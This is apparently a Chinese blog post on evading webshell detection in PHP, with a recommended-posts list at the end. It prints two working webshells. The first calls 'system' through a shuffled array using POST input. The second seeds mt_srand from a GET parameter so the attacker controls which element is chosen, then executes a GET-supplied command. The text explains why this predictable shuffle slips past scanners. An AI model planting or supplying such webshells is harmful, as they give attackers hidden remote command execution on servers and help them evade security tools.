记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
星幻元宇VR2 小时前
VR环保学习机|科技助力绿色教育新模式
大数据·科技·学习·安全·vr·虚拟现实
未知鱼2 小时前
Python安全开发之简易目录扫描器(含详细注释)
开发语言·python·安全
Jianghong Jian2 小时前
Hashcat:强大的密码恢复与安全测试工具
测试工具·安全·密码学
_一只小QQ2 小时前
软考中级第二节
学习
小飞菜涅3 小时前
fast-lio2复现
嵌入式硬件·学习·ubuntu
Century_Dragon3 小时前
哈弗M6汽车故障诊断与排除仿真教学软件:让课堂与实训无缝对接
学习
for_ever_love__4 小时前
Objective- C学习: 手动内存管理
c语言·学习·ios·objective-c
gechunlian884 小时前
Spring Security 官网文档学习
java·学习·spring
2401_853448234 小时前
Maix例程代码学习
学习
木易 士心4 小时前
深入理解 MySQL 权限撤销(REVOKE)机制:从语法到安全实践
数据库·后端·mysql·安全